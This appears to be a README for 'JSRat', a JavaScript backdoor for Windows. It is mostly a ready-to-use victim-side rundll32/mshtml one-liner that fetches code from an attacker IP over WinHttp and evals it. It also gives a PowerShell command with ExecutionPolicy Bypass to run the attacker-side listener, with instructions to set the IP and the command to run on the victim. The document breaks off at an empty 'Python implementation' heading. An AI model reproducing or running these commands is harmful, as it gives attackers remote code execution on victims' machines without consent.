#Javascript Backdoor
http://en.wooyun.io/2016/01/18/JavaScript-Backdoor.html
##Victim machine
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.174.131/connect",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
##Attacker machine
powershell.exe -ExecutionPolicy Bypass -File JSRat.ps1
##Important
Update the IP address in JSRat.ps1 (line 19) and the command to be executed on victim machine.
##Python implementation